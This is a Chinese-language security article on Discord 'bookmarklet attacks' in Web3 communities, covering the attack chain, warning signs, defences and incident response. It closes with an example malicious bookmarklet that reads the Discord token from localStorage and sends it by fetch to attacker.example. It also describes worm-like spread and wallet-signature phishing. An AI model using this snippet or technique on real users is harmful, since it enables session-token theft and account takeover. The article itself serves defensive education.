文章

书签攻击原理与防御

Web3 场景下的 Discord「书签攻击」原理与防御

黑客常借助 Discord 进行社工与链接投放,其中「书签攻击」(Bookmarklet Attack / 书签注入)是近年常见的一种前端攻击手法。它不依赖浏览器漏洞,而是利用用户“主动执行”的书签脚本,在用户浏览器上下文中执行恶意代码,从而劫持 Discord 会话、伪造消息、盗取令牌或引导签名钓鱼。


一、什么是「书签攻击」

  • 定义:攻击者将一段 javascript: 开头的书签脚本(bookmarklet)伪装成“工具/功能/福利领取”的书签,让用户拖拽到浏览器书签栏并点击执行。

  • 触发条件:受害者在打开的目标站点(如 Discord Web、热门 NFT 镜像站、假的钱包工具页)中点击该书签,脚本就以当前页面权限执行。

  • 常见伪装

  • “一键切换 Discord 主题”、“一键清理频道通知”

  • “MoonShot 空投助手”、“NFT 批量领取/自动报价”

  • “Gas 优化器/钱包批量授权脚本”

  • “Discord 机器人开发调试工具”


二、攻击原理拆解

书签攻击的关键在于“在受害者浏览器、当前站点上下文执行代码”。针对 Discord/Web3 场景,常见目标与操作包括:

  1. 会话劫持与令牌窃取

  • Discord Web 会把 token 存在 localStorage 或通过 WebSocket 连接维护会话。

  • 恶意脚本可在 discord.com 页面上下文读取 localStorage.token,将其通过 HTTP/Discord Webhook exfiltrate(外传)。

  • 一旦攻击者拿到 token,可直接 API 调用冒充用户发消息、发链接、邀请他人、读取私信,快速扩散。

  1. 内容注入与社群扩散

  • 利用已登录的会话,自动在多个频道/私信群发带毒链接或新的“书签脚本”,形成蠕虫式扩散。

  • 伪装成管理员公告、空投链接、谷歌表单或“钱包工具”的短链接。

  1. 签名钓鱼与钱包授权诱导

  • 打开恶意站点并注入 UI,引导用户连接钱包、签署“验证消息”,实则进行 permitsetApprovalForAll 或链抽象钱包的“会话授权”。

  • 使用 WalletConnect 深链/二维码,诱导移动端签名。

  1. 跨站请求与接口滥用

  • 在当前信任环境内调用 Discord 内部接口(如上传文件、变更昵称、邀请链接生成),绕过基础反滥用限制。

  1. 混淆与持久化

  • 书签脚本通常高度混淆、压缩,动态从远程拉取第二阶段负载。

  • 通过 history.pushStateservice worker、或浏览器扩展侧载进一步固化,但书签本身不具持久性;用户不点就不执行。


三、攻击链常见路径

  1. 社工入口:Discord/Telegram/推特上看到“官方公告/限时空投”。

  2. 引导动作:让你“拖动此按钮到书签栏,点一下即可领取/启用”。

  3. 执行环境:你在 discord.com 或目标 DApp 标签页中点击书签。

  4. 代码执行:脚本读取 token、扫描 DOM、调用 API、弹窗诱导连接钱包。

  5. 扩散与变现:冒充你继续传播;或引导恶意签名/授权,转走资产。


四、识别与自查

  • 高风险信号

  • 任何以 javascript: 开头的书签内容。

  • 让你拖拽“按钮/链接”到书签栏再点击的教程。

  • 短链(bit.ly、tinyurl)+ 要求在 Discord Web 页面点击。

  • 要求关闭安全插件、切换浏览器“开发者模式”。

  • 本地自查

  • 打开书签管理器,检查是否存在 javascript: 书签。

  • 浏览器控制台 Network 面板看是否向陌生域名/Discord Webhook 发起请求。

  • 检查 Discord 是否出现异常群发、自动发送邀请、自动@全体。

  • 钱包授权页面查看是否多出可疑的 Permit2Approval 记录。


五、防御与最佳实践(可与AdGuard 配合使用)

1) 个人防护

  • 绝不在生产账号的 Discord/Web3 DApp 页面点击任何 javascript: 书签。

  • 将书签栏隐藏或建立“隔离浏览器配置文件”:

  • 工作/社交用一个浏览器配置;

  • 链上签名与资产操作用另一个干净配置,禁社交登录与插件。

  • 使用硬件钱包,启用“只读/观察”钱包区分查看与签名环境。

  • 签名前核对:合约地址、函数名、权限范围,拒绝“无限授权、跨链权限、批量授权”。

  • 对任何“批量领取/批量报价脚本”保持怀疑;优先使用官方站点与开源工具。

  • 开启 Discord 的二次验证(2FA),并定期更换密码;被怀疑泄露时立即“全端登出”(Reset Sessions)。

2) 团队与社区治理

  • 频道安全策略:

  • 仅白名单角色可发链接;新人需冷却期与人工审核。

  • 自动检测 javascript:、Discord Webhook、可疑短链;启用反钓鱼机器人(例如 Blockaid/Wallet Guard 提供的链接检查服务)。

  • 公告验证:

  • 重要链接只通过已验证域名、签名公告发布;提供固定“安全页/清单”。

  • 对“拖拽到书签栏”的做法发布明确禁令与科普。

  • 事件响应预案:

  • 一旦发现被劫持账号群发,立刻限流、禁言、撤回,并置顶风险提示。

  • 提供资产应急指引:撤销授权、冻结挂单、上报可疑合约地址。

3) 浏览器与技术层面缓解

  • 关闭“允许书签执行脚本”的习惯性使用;现代浏览器虽默认允许 bookmarklet,但可通过政策、扩展进行拦截或提示。

  • 使用内容安全策略(CSP)与子资源完整性(SRI)保护你自己的网站,避免成为二跳投毒源。

  • 安装可信的钓鱼检测扩展,对 javascript: 书签点击给出二次确认。


六、应急处置流程(已疑似中招)

  1. 立刻断网或关闭相关标签页,避免代码持续运行。

  2. 在 Discord:更改密码并强制登出所有设备;开启/重置 2FA。

  3. 在浏览器:清理可疑书签、清理缓存和本地存储;检查是否安装来路不明扩展。

  4. 在钱包:

  • 用官方或可信工具撤销最近的授权(如 Revoke.cash、Etherscan Token Approvals)。

  • 替换受影响钱包为新助记词;将剩余资产转移至冷钱包。

  1. 在社区:上报所在服务器管理员,撤回你账户发出的可疑消息,发布风险提示。

  2. 取证与上报:保留网络请求、可疑脚本、交易哈希;向平台安全团队/执法机构报案。

切断 + 改密 + 清除 + 取证发布


七、示例:恶意书签的简单形态

以下仅用于识别示例,勿执行:

javascript:(function(){
  try{
    const token = localStorage.getItem('token');
    fetch('https://attacker.example/exfil', {
      method: 'POST',
      headers: {'Content-Type':'application/json'},
      body: JSON.stringify({token, url: location.href, ua: navigator.userAgent})
    });
    // 后续:自动发消息/拉取二阶段载荷等
  }catch(e){}
})();

看到 javascript: 且会读取 localStorage、调用 fetch 外传,就应立刻警惕。

许可协议:  CC BY 4.0